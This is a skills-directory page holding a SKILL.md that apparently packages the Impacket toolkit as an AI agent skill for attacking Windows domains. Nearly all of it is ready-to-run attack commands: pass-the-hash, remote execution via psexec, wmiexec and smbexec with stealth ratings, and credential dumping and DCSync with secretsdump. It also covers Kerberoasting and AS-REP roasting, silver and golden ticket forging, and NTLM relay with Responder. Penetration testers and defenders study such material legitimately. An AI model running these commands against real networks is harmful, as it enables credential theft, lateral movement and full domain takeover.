Back to skills
SKILL.md
Impacket Toolkit
ASecurityImpacket: psexec/wmiexec/secretsdump, Kerberos ticket attacks
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 29, 2026
Works with
Security analysis
100/100npx -y skills add blackfoxxx/kestrel --skill impacket-toolkit --agent claude-codeAre you the author of Impacket Toolkit?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-impacket-toolkit)---
name: impacket-toolkit
description: "Impacket: psexec/wmiexec/secretsdump, Kerberos ticket attacks"
metadata:
tags: "impacket,secretsdump,psexec,wmiexec,smbexec,dcomexec,ntlmrelayx,kerberos,smb,windows,domain,lateral-movement,credentials,GetNPUsers,GetUserSPNs"
category: "tool"
mcps: autopen, context1337, pentest mcp
---
# Impacket Windows Protocol Toolkit
Impacket implements the Windows network protocol stack in pure Python, letting you operate against Windows targets from Linux — without installing anything on the target.
Project: https://github.com/fortra/impacket
## Authentication
All Impacket tools support multiple authentication methods:
```bash
# Password auth
tool.py DOMAIN/user:password@TARGET
# NTLM hash (Pass-the-Hash)
tool.py DOMAIN/user@TARGET -hashes LM:NTLM
tool.py DOMAIN/user@TARGET -hashes :NTLM # LM part can be omitted
# Kerberos ticket auth
export KRB5CCNAME=/tmp/user.ccache
tool.py DOMAIN/user@TARGET -k -no-pass
# Local user (not in a domain)
tool.py ./administrator:password@TARGET
```
## Remote Command Execution
From non-interactive to fully interactive — pick the most stable option:
```bash
# psexec — creates a service over SMB (most common, requires admin)
psexec.py DOMAIN/admin:password@TARGET
psexec.py DOMAIN/admin@TARGET -hashes :NTLM_HASH
# smbexec — executes over SMB pipe (no binary upload, stealthier)
smbexec.py DOMAIN/admin:password@TARGET
# wmiexec — executes via WMI (no service creation, most stealthy)
wmiexec.py DOMAIN/admin:password@TARGET
# dcomexec — executes via DCOM (alternative)
dcomexec.py DOMAIN/admin:password@TARGET
# atexec — executes via scheduled task (no interactive shell needed)
atexec.py DOMAIN/admin:password@TARGET "whoami"
```
### Selection Guide
| Tool | Protocol | Port | Stealth | Interactive |
|------|----------|------|---------|-------------|
| wmiexec | WMI/DCOM | 135 | ⭐⭐⭐ | ✅ |
| smbexec | SMB | 445 | ⭐⭐ | ✅ |
| psexec | SMB | 445 | ⭐ | ✅ |
| atexec | Task Scheduler | 445 | ⭐⭐ | ❌ |
| dcomexec | DCOM | 135 | ⭐⭐ | ✅ |
## Credential Extraction
```bash
# secretsdump — most important tool for domain pentesting; dumps all credentials
# Remote dump (requires domain admin or local admin)
secretsdump.py DOMAIN/admin:password@TARGET
secretsdump.py DOMAIN/admin@TARGET -hashes :NTLM_HASH
# Dump all domain user hashes from DC (DCSync)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc
# NTLM only (skip Kerberos keys)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc-ntlm
# From local SAM/SYSTEM files
secretsdump.py -sam SAM -system SYSTEM LOCAL
```
## Kerberos Attacks
```bash
# AS-REP Roasting — find accounts with pre-auth disabled
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip DC_IP -format hashcat
# Feed output to hashcat -m 18200
# Kerberoasting — get service tickets for offline cracking
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request
# Feed output to hashcat -m 13100
# Get TGT
getTGT.py DOMAIN/user:password -dc-ip DC_IP
# Produces user.ccache → export KRB5CCNAME=user.ccache
# Get ST (constrained delegation S4U exploit)
getST.py DOMAIN/svc_account:password -spn cifs/TARGET -impersonate administrator -dc-ip DC_IP
# -altservice can substitute service type
# Silver Ticket
ticketer.py -nthash SERVICE_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -spn cifs/TARGET user
# Golden Ticket
ticketer.py -nthash KRBTGT_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -extra-sid S-1-5-21-PARENT-519 user
```
## Enumeration Tools
```bash
# SID enumeration (discover user/group RIDs)
lookupsid.py DOMAIN/user:password@TARGET
# RPC dump (exposed interfaces)
rpcdump.py DOMAIN/user:password@TARGET
# SAM user enumeration
samrdump.py DOMAIN/user:password@TARGET
# Remote registry operations
reg.py DOMAIN/admin:password@TARGET query -keyName HKLM\\SOFTWARE
```
## NTLM Relay
```bash
# Relay to SMB (get shell or secretsdump)
ntlmrelayx.py -t smb://TARGET -smb2support
ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami"
# Relay to LDAP (domain ACL modification)
ntlmrelayx.py -t ldap://DC_IP --escalate-user user
# Relay to ADCS Web Enrollment (ESC8)
ntlmrelayx.py -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController
# Use with Responder:
# Terminal 1: responder -I eth0 -wv (capture NTLM hashes)
# Terminal 2: ntlmrelayx.py -t smb://TARGET (relay NTLM)
```
## SMB File Operations
```bash
# SMB client
smbclient.py DOMAIN/user:password@TARGET
# List shares
smbclient.py DOMAIN/user:password@TARGET -list
# Upload/download files
smbclient.py DOMAIN/user:password@TARGET
# > use SHARE_NAME
# > put local_file
# > get remote_file
```
## Decision Tree
```
What Windows operation do you need?
├─ Remote command execution → wmiexec (stealthy) / psexec (reliable)
├─ Credential/hash extraction → secretsdump
├─ Kerberos attacks → GetNPUsers / GetUserSPNs
├─ NTLM relay → ntlmrelayx + Responder
├─ File operations → smbclient
├─ Have password → use user:password directly
├─ Have NTLM hash → -hashes :NTLM (PTH)
└─ Have Kerberos ticket → -k -no-pass
```
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.